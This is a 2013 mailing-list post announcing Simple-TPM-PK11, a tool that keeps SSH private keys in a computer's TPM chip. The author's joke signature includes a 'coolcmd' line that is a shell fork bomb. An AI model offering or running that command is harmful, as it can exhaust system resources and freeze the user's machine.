New project: Simple-TPM-PK11

19 views
Skip to first unread message

Thomas Habets

unread,
Dec 3, 2013, 5:39:51 AM12/3/13
to synscan-...@googlegroups.com
I'm on a mission to protect authentication with a second factor. This
is a project for greatly improving the situation for SSH keys, but
being PKCS11 it's not restricted to SSH.

In a sentence:
Simple-TPM-PK11 allows you to use the TPM chip in your computer (if
you have one. Macs don't) to make it impossible to copy or steal your
private SSH keys.

How it works:
http://blog.habets.se/2013/12/How-TPM-protected-SSH-keys-work

How to install it:
http://blog.habets.se/2013/11/TPM-chip-protecting-SSH-keys---properly
(also see README)

Where's the source:
https://github.com/ThomasHabets/simple-tpm-pk11

--
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "tho...@habets.pp.se" };
char kernel[] = { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
Reply all
Reply to author
Forward
0 new messages